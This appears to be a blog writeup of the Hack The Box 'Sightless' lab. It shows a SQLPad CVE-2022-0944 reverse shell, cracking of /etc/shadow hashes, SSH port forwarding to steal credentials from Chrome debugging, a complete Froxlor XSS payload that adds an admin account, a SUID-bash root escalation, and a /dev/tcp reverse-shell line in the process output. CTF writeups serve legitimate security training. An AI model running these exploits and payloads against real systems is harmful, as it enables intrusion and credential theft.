hoS / blog
Post
writeup 2024-11-04 · 11 min read

Hack The Box Sightless Writeup (Easy Linux)

Easy Linux box. SQLPad CVE-2022-0944 template injection gives a container root shell, /etc/shadow hashes crack to michael, and Froxlor PHP-FPM runs as root.

Guilherme Alves
HackTheBox Linux Easy Web SSTI
Hack The Box Sightless Writeup (Easy Linux)

Summary

Sightless is an Easy Linux machine that exposes a SQLPad 6.10.0 instance on sqlpad.sightless.htb, vulnerable to the template injection in the connection test endpoint tracked as CVE-2022-0944. A public PoC turns that into a reverse shell, but as root inside a Docker container rather than on the host. Reading /etc/shadow from the container gives the root and michael sha512crypt hashes, hashcat cracks them against rockyou, and michael reuses his password on the host, so SSH is the container escape. As michael, pspy shows a headless Chrome running as john with remote debugging enabled, and forwarding the loopback ports over SSH into chrome://inspect exposes a POST to index.php carrying the Froxlor admin credentials, with a blind XSS against CVE-2024-34070 as an alternative route to an admin account. With Froxlor admin, a new PHP-FPM version whose restart command runs a script in /tmp executes as root, and that script sets the SUID bit on /bin/bash.

BS01: Initial Access - SQLPAD RCE (CVE-2022-0944)

Explanation

According to NIST,

Template injection in connection test endpoint leads to RCE in GitHub repository sqlpad/sqlpad prior to 6.10.1.

The SQLPAD instance on *http://sqlpad.sightless.htb/ *uses version 6.10.0, which is vulnerable to this CVE, allowing for remote attackers to obtain code execution on the underlying OS.

Steps to Reproduce

  1. Add “sqlpad.sightless.htb” to your /etc/hosts

/etc/hosts

1
2
3
4
5
6
7
8

127.0.0.1	localhost
127.0.0.1 admin.sightless.htb
::1		localhost ip6-localhost ip6-loopback security
ff02::1		ip6-allnodes
ff02::2		ip6-allrouters

127.0.1.1 security
10.10.11.32 sqlpad.sightless.htb sightless.htb

  1. Download this PoC

  2. Fire up a netcat listener

1

nc -lvnp 9001
  1. Move to the PoC’s directory and execute the exploit
1
2
3
4
5

cd sqlpad-rce-exploit-CVE-2022-0944/
$ python3 exploit.py http://sqlpad.sightless.htb 10.10.14.9 9001
Response status code: 400
Response body: {"title":"connect ECONNREFUSED 127.0.0.1:3306"}
Exploit sent, but server responded with status code: 400. Check your listener.
  1. If everything went smoothly, you should get a reverse shell connection back on your netcat listener
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.9] from (UNKNOWN) [10.10.11.32] 37632
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@c184118df0a6:/var/lib/sqlpad# id && ifconfig 
id
uid=0(root) gid=0(root) groups=0(root)
root@c184118df0a6:/var/lib/sqlpad# which script 
which script 
/usr/bin/script
root@c184118df0a6:/var/lib/sqlpad# /usr/bin/script -qc /bin/bash /dev/null
/usr/bin/script -qc /bin/bash /dev/null
root@c184118df0a6:/var/lib/sqlpad# export TERM=xterm
export TERM=xterm
root@c184118df0a6:/var/lib/sqlpad# ^Z
[1]+  Stopped                 nc -lvnp 9001
user@security:~/Hacking/hackthebox/ctf/easy/sightless/sqlpad-rce-exploit-CVE-2022-0944$ stty raw -echo; fg
nc -lvnp 9001

root@c184118df0a6:/var/lib/sqlpad# 
root@c184118df0a6:/var/lib/sqlpad# echo 'stable shell!'
stable shell!
root@c184118df0a6:/var/lib/sqlpad#

BS02: Horizontal Privilege Escalation - Docker Container Escape

Explanation

Obtaining initial access (refer to BS01) lands us in a docker container environment. Implementing docker can enhance security by compartmentalizing different aspects of the server. However, when implemented poorly, it can allow potential attackers to escalate privileges/escape from the container altogether and interact directly with the underlying operating system.

In this case, several passwords were uncovered, including the password for the user “michael”. Unfortunately, “michael” reuses this same password to log in to the underlying OS, and we were able to escape the container by logging in as “michael” through SSH.

Steps to Reproduce

  1. Obtain initial access (refer to BS01)

  2. Review /etc/shadow contents

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

root@c184118df0a6:/var/lib/sqlpad# cat /etc/shadow 
root:$6$jn8fwk6LVJ9IYw30$qwtrfWTITUro8fEJbReUc7nXyx2wwJsnYdZYm9nMQDHP8SYm33uisO9gZ20LGaepC3ch6Bb2z/lEpBM90Ra4b.:19858:0:99999:7:::
daemon:*:19051:0:99999:7:::
bin:*:19051:0:99999:7:::
sys:*:19051:0:99999:7:::
sync:*:19051:0:99999:7:::
games:*:19051:0:99999:7:::
man:*:19051:0:99999:7:::
lp:*:19051:0:99999:7:::
mail:*:19051:0:99999:7:::
news:*:19051:0:99999:7:::
uucp:*:19051:0:99999:7:::
proxy:*:19051:0:99999:7:::
www-data:*:19051:0:99999:7:::
backup:*:19051:0:99999:7:::
list:*:19051:0:99999:7:::
irc:*:19051:0:99999:7:::
gnats:*:19051:0:99999:7:::
nobody:*:19051:0:99999:7:::
_apt:*:19051:0:99999:7:::
node:!:19053:0:99999:7:::
michael:$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/:19860:0:99999:7:::
  1. Save both root and michael’s password hashes to a local file

sightless-docker.hashes

1
2

$6$jn8fwk6LVJ9IYw30$qwtrfWTITUro8fEJbReUc7nXyx2wwJsnYdZYm9nMQDHP8SYm33uisO9gZ20LGaepC3ch6Bb2z/lEpBM90Ra4b.
$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/
  1. Crack the hashes using hashcat with rockyou wordlist
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

$ hashcat --potfile-disable sightless-docker.hashes /usr/share/wordlists/SecLists-2024.3/Passwords/Leaked-Databases/rockyou.txt 
hashcat (v6.2.6) starting in autodetect mode

<SNIP>

$6$jn8fwk6LVJ9IYw30$qwtrfWTITUro8fEJbReUc7nXyx2wwJsnYdZYm9nMQDHP8SYm33uisO9gZ20LGaepC3ch6Bb2z/lEpBM90Ra4b.:[PASSWORD REDACTED]
$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/:[PASSWORD REDACTED]
                                                        
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1800 (sha512crypt $6$, SHA512 (Unix))
Hash.Target......: sightless-docker.hashes
Time.Started.....: Sun Nov  3 16:08:41 2024 (1 min, 33 secs)
Time.Estimated...: Sun Nov  3 16:10:14 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/SecLists-2024.3/Passwords/Leaked-Databases/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:     1058 H/s (11.43ms) @ Accel:256 Loops:256 Thr:1 Vec:4
Recovered........: 2/2 (100.00%) Digests (total), 2/2 (100.00%) Digests (new), 2/2 (100.00%) Salts
Progress.........: 116992/28688768 (0.41%)
Rejected.........: 0/116992 (0.00%)
Restore.Point....: 58368/14344384 (0.41%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:4864-5000
Candidate.Engine.: Device Generator
Candidates.#1....: kokokoko -> gabriel13

Started: Sun Nov  3 16:08:37 2024
Stopped: Sun Nov  3 16:10:15 2024
  1. Log in as michael via SSH:
1
2
3
4
5
6
7
8
9
10
11
12
13

$ ssh michael@sightless.htb
michael@sightless.htb's password: 
Last login: Sun Nov  3 16:47:51 2024 from 10.10.16.4
michael@sightless:~$ id
uid=1000(michael) gid=1000(michael) groups=1000(michael)
michael@sightless:~$ ifconfig eth0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.10.11.32  netmask 255.255.254.0  broadcast 10.10.11.255
        ether 00:50:56:b0:9e:4b  txqueuelen 1000  (Ethernet)
        RX packets 25611  bytes 2130627 (2.1 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 28629  bytes 32363313 (32.3 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

BS03: Lateral Movement - Admin Access to Froxlor

Explanation

User “john” had a chrome session with remote debugging port enabled. Using our SSH access as user “michael” (refer to BS02), it was possible to port forward the necessary ports to connect to the debugging session and uncover sensitive information. The information included admin credentials to the Froxlor instance on admin.sightless.htb (locally).

Steps to Reproduce (1) - Chrome Debugging Method

  1. Log in via SSH as “michael” (refer to BS02)

  2. Notice the chrome processes using pspy64:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

$ ./pspy64 
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

<SNIP>
2024/11/03 22:55:45 CMD: UID=0     PID=19137  | 
2024/11/03 22:55:45 CMD: UID=0     PID=10731  | bash -i 
2024/11/03 22:55:45 CMD: UID=0     PID=10729  | /bin/bash -c bash -i >& /dev/tcp/10.10.16.4/4444 0>&1 
2024/11/03 22:55:45 CMD: UID=0     PID=10728  | /bin/sh -c /bin/bash -c "bash -i >& /dev/tcp/10.10.16.4/4444 0>&1" 
2024/11/03 22:55:45 CMD: UID=0     PID=2395   | /usr/libexec/upowerd 
2024/11/03 22:55:45 CMD: UID=1001  PID=1599   | /bin/bash /home/john/automation/healthcheck.sh 
2024/11/03 22:55:45 CMD: UID=33    PID=1588   | /usr/sbin/apache2 -k start 
2024/11/03 22:55:45 CMD: UID=33    PID=1587   | /usr/sbin/apache2 -k start 
2024/11/03 22:55:45 CMD: UID=33    PID=1586   | /usr/sbin/apache2 -k start 
2024/11/03 22:55:45 CMD: UID=33    PID=1584   | /usr/sbin/apache2 -k start 
2024/11/03 22:55:45 CMD: UID=33    PID=1579   | /usr/sbin/apache2 -k start 
2024/11/03 22:55:45 CMD: UID=1001  PID=1571   | /opt/google/chrome/chrome --type=renderer --headless --crashpad-handler-pid=1521 --no-sandbox --disable-dev-shm-usage --enable-automation --remote-debugging-port=0 --test-type=webdriver --allow-pre-commit-input --ozone-platform=headless --disable-gpu-compositing --lang=en-US --num-raster-threads=1 --renderer-client-id=5 --time-ticks-at-unix-epoch=-1730629423075846 --launc 
2024/11/03 22:55:45 CMD: UID=1001  PID=1543   | /opt/google/chrome/chrome --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --disable-dev-shm-usage --use-angle=swiftshader-webgl --use-gl=angle --headless --crashpad-handler-pid=1521 --shared-files=v8_context_snapshot_data:100 --field-trial-handle=3,i,1217751295366095065,15457524673584851600,262144 --disable-features=PaintHolding --variations-seed-version --enable-logging --log-level=0 --enable-crash-reporter 
2024/11/03 22:55:45 CMD: UID=1001  PID=1542   | /opt/google/chrome/chrome --type=gpu-process --no-sandbox --disable-dev-shm-usage --headless --ozone-platform=headless --use-angle=swiftshader-webgl --headless --crashpad-handler-pid=1521 --gpu-preferences=WAAAAAAAAAAgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --shared-files --fie 
2024/11/03 22:55:45 CMD: UID=1001  PID=1526   | /opt/google/chrome/chrome --type=zygote --no-sandbox --enable-logging --headless --log-level=0 --headless --crashpad-handler-pid=1521 --enable-crash-reporter 
2024/11/03 22:55:45 CMD: UID=1001  PID=1525   | /opt/google/chrome/chrome --type=zygote --no-zygote-sandbox --no-sandbox --enable-logging --headless --log-level=0 --headless --crashpad-handler-pid=1521 --enable-crash-reporter 
2024/11/03 22:55:45 CMD: UID=1001  PID=1521   | /opt/google/chrome/chrome_crashpad_handler --monitor-self-annotation=ptype=crashpad-handler --database=/tmp/Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=lsb-release=Ubuntu 22.04.4 LTS --annotation=plat=Linux --annotation=prod=Chrome_Headless --annotation=ver=125.0.6422.60 --initial-client-fd=6 --shared-client-connection 
2024/11/03 22:55:45 CMD: UID=1001  PID=1519   | /opt/google/chrome/chrome --allow-pre-commit-input --disable-background-networking --disable-client-side-phishing-detection --disable-default-apps --disable-dev-shm-usage --disable-hang-monitor --disable-popup-blocking --disable-prompt-on-repost --disable-sync --enable-automation --enable-logging --headless --log-level=0 --no-first-run --no-sandbox --no-service-autorun --password-store=basic --remote-debugging-port=0 --test-type=webdriver --use-mock-keychain --user-data-dir=/tmp/.org.chromium.Chromium.wjLoKd data:, 

<SNIP>
  1. As there is no defined port for the remote debugging session, we review open TCP ports:
1
2
3
4
5
6
7
8
9
10
11

michael@sightless:~$ ss -tpn
State                Recv-Q                Send-Q                                Local Address:Port                                  Peer Address:Port                 Process                
ESTAB                0                     0                                         127.0.0.1:43358                                    127.0.0.1:8080                                        
ESTAB                0                     0                                         127.0.0.1:52450                                    127.0.0.1:53105                                       
ESTAB                0                     0                                         127.0.0.1:34227                                    127.0.0.1:39764                                       
ESTAB                0                     0                                         127.0.0.1:39760                                    127.0.0.1:34227                                       
ESTAB                0                     52                                      10.10.11.32:22                                      10.10.14.9:39756                                       
ESTAB                0                     0                                         127.0.0.1:34227                                    127.0.0.1:39760                                       
ESTAB                0                     0                                         127.0.0.1:8080                                     127.0.0.1:43358                                       
ESTAB                0                     122                                       127.0.0.1:53105                                    127.0.0.1:52450                                       
ESTAB                0                     0                                         127.0.0.1:39764                                    127.0.0.1:34227
  1. Forward all ports using SSH:
1
2
3

$ ssh -L 43358:127.0.0.1:43358 -L 52450:127.0.0.1:52450 -L 34227:127.0.0.1:34227 -L 8080:127.0.0.1:8080 -L 53105:127.0.0.1:53105 -L 39764:127.0.0.1:39764 michael@sightless.htb
Last login: Sun Nov  3 22:55:11 2024 from 10.10.14.9
michael@sightless:~$
  1. Then, open chromium or any chromium based browser, go to chrome://inspect/#devices check “Discover network targets”, click “Configure…” and place all the forwarded ports, in this case:
1
2
3
4
5
6
7
8

Target discovery settings
localhost:9222
localhost:9229
localhost:43358
localhost:52450
localhost:34227
localhost:53105
localhost:39764

  1. Hit done, and two sessions should appear under “Remote Target”

  2. In the first session, hit “inspect” and a new window should pop up.

  3. In the “Network” tab in this new window, check “Preserve log”

  4. Click one time on “Method” to filter and select the last request, which is a POST to index.php

  5. On the right, under the “Payload” tab, you should see the credentials for the admin user in the Froxlor instance.

Steps to Reproduce (2) - Blind Cross Site Scripting (XSS) Method

  1. A little bit of research shows us that it is likely that this Froxlor instance is vulnerable to CVE-2024-34070

  2. Using the SSH connection (refer to BS02), forward the remote “8080” port to your local “9090” port:

1

$ ssh -L 9090:127.0.0.1:8080 michael@sightless.htb

  1. Fire up BurpSuite and set up your proxy

  2. Add “127.0.0.1 admin.sightless.htb” to your /etc/hosts:

1
2
3
4
5
6
7
8
9

$ cat /etc/hosts
127.0.0.1	localhost
127.0.0.1 admin.sightless.htb
::1		localhost ip6-localhost ip6-loopback security
ff02::1		ip6-allnodes
ff02::2		ip6-allrouters

127.0.1.1 security
10.10.11.32 sqlpad.sightless.htb sightless.htb

  1. In your web browser, navigate to http://admin.sightless.htb:9090. You’ll be greeted with a log in screen.

  2. The original payload can be found here. However, in order for this to work in our current environment, we’ll need to tweak it:

payload.txt

1

admin{{$emit.constructor`function+b(){var+metaTag%3ddocument.querySelector('meta[name%3d"csrf-token"]')%3bvar+csrfToken%3dmetaTag.getAttribute('content')%3bvar+xhr%3dnew+XMLHttpRequest()%3bvar+url%3d"http%3a//admin.sightless.htb%3a8080/admin_admins.php"%3bvar+params%3d"new_loginname%3dbsec%26admin_password%3dBehind%40Security2024%26admin_password_suggestion%3dmgphdKecOu%26def_language%3den%26api_allowed%3d0%26api_allowed%3d1%26name%3dAbcd%26email%3dyldrmtest%40gmail.com%26custom_notes%3d%26custom_notes_show%3d0%26ipaddress%3d-1%26change_serversettings%3d0%26change_serversettings%3d1%26customers%3d0%26customers_ul%3d1%26customers_see_all%3d0%26customers_see_all%3d1%26domains%3d0%26domains_ul%3d1%26caneditphpsettings%3d0%26caneditphpsettings%3d1%26diskspace%3d0%26diskspace_ul%3d1%26traffic%3d0%26traffic_ul%3d1%26subdomains%3d0%26subdomains_ul%3d1%26emails%3d0%26emails_ul%3d1%26email_accounts%3d0%26email_accounts_ul%3d1%26email_forwarders%3d0%26email_forwarders_ul%3d1%26ftps%3d0%26ftps_ul%3d1%26mysqls%3d0%26mysqls_ul%3d1%26csrf_token%3d"%2bcsrfToken%2b"%26page%3dadmins%26action%3dadd%26send%3dsend"%3bxhr.open("POST",url,true)%3bxhr.setRequestHeader("Content-type","application/x-www-form-urlencoded")%3balert("Your+Froxlor+Application+has+been+completely+Hacked")%3bxhr.send(params)}%3ba%3db()`()}}

  1. Configure your BurpSuite proxy to intercept requests

  2. Submit the log in form with invalid credentials

  3. In the intercepted request, change the “loginname” value to the payload above. The final request should be something like:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

POST / HTTP/1.1
Host: admin.sightless.htb:9090
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://admin.sightless.htb:9090
DNT: 1
Connection: keep-alive
Referer: http://admin.sightless.htb:9090/
Cookie: PHPSESSID=5jga214acj902b7e4m84hdtgd5
Upgrade-Insecure-Requests: 1
Priority: u=0, i

loginname=admin{{$emit.constructor`function+b(){var+metaTag%3ddocument.querySelector('meta[name%3d"csrf-token"]')%3bvar+csrfToken%3dmetaTag.getAttribute('content')%3bvar+xhr%3dnew+XMLHttpRequest()%3bvar+url%3d"http%3a//admin.sightless.htb%3a8080/admin_admins.php"%3bvar+params%3d"new_loginname%3dbsec%26admin_password%3dBehind%40Security2024%26admin_password_suggestion%3dmgphdKecOu%26def_language%3den%26api_allowed%3d0%26api_allowed%3d1%26name%3dAbcd%26email%3dyldrmtest%40gmail.com%26custom_notes%3d%26custom_notes_show%3d0%26ipaddress%3d-1%26change_serversettings%3d0%26change_serversettings%3d1%26customers%3d0%26customers_ul%3d1%26customers_see_all%3d0%26customers_see_all%3d1%26domains%3d0%26domains_ul%3d1%26caneditphpsettings%3d0%26caneditphpsettings%3d1%26diskspace%3d0%26diskspace_ul%3d1%26traffic%3d0%26traffic_ul%3d1%26subdomains%3d0%26subdomains_ul%3d1%26emails%3d0%26emails_ul%3d1%26email_accounts%3d0%26email_accounts_ul%3d1%26email_forwarders%3d0%26email_forwarders_ul%3d1%26ftps%3d0%26ftps_ul%3d1%26mysqls%3d0%26mysqls_ul%3d1%26csrf_token%3d"%2bcsrfToken%2b"%26page%3dadmins%26action%3dadd%26send%3dsend"%3bxhr.open("POST",url,true)%3bxhr.setRequestHeader("Content-type","application/x-www-form-urlencoded")%3balert("Your+Froxlor+Application+has+been+completely+Hacked")%3bxhr.send(params)}%3ba%3db()`()}}&password=test&dologin=

  1. Forward the intercepted request and turn off the proxy

  2. Wait a few seconds, and log in using the newly created admin account: bsec:Behind@Security2024

BS04: Vertical Privilege Escalation - Froxlor RCE

Explanation

After obtaining admin credentials to the Froxlor instance at admin.sightless.htb (refer to BS03), it was possible to have remote code execution as the underlying OS user running the Froxlor instance (in this case, root) by creating a custom PHP-FPM configuration with malicious commands in the “php-fpm restart command” field, having it to execute a malicious bash script.

Steps to Reproduce

  1. In your SSH session as “michael” user (refer to BS02), create a malicious bash script in /tmp:

/tmp/evil.sh

1
2
3

#!/bin/bash

chmod +s /bin/bash
  1. Grant the appropriate access rights over the malicious script:
1

chmod 777 /tmp/evil.sh

  1. Log in with admin credentials to the Froxlor instance (refer to BS03)

  2. Head to “PHP” > “PHP-FPM versions”

  3. In the PHP-FPM dashboard, click to “Create new PHP version”

  4. Change “Short description” to something intuitive like “malicious” and change the “php-fpm restart comand” to bash /tmp/evil.sh

  5. Scroll down and save changes.

  6. Head to “System” > “Settings” > “PHP-FPM”, click to disable PHP-FPM and save changes.

  7. Return to “System” > “Settings” > “PHP-FPM”, click to enable **PHP-FPM and save changes. This will trigger execution of our malicious php-fpm restart command. **

  8. Wait a few seconds, and you’ll see the permissions for /bin/bash change.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

michael@sightless:/tmp$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1396520 Mar 14  2024 /bin/bash
michael@sightless:/tmp$ /bin/bash -p
bash-5.1# id 
uid=1000(michael) gid=1000(michael) euid=0(root) egid=0(root) groups=0(root),1000(michael)
bash-5.1# ifconfig eth0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.10.11.32  netmask 255.255.254.0  broadcast 10.10.11.255
        ether 00:50:56:b0:9e:4b  txqueuelen 1000  (Ethernet)
        RX packets 53873  bytes 8058971 (8.0 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 60375  bytes 50131915 (50.1 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

bash-5.1#
Writeups HackTheBox
HackTheBox Linux Easy Web SSTI RCE CVE-2022-0944 Docker Password Cracking Hashcat Credential Reuse SSH XSS SUID Privilege Escalation OSCP Preparation
This post is licensed under CC BY 4.0 by the author.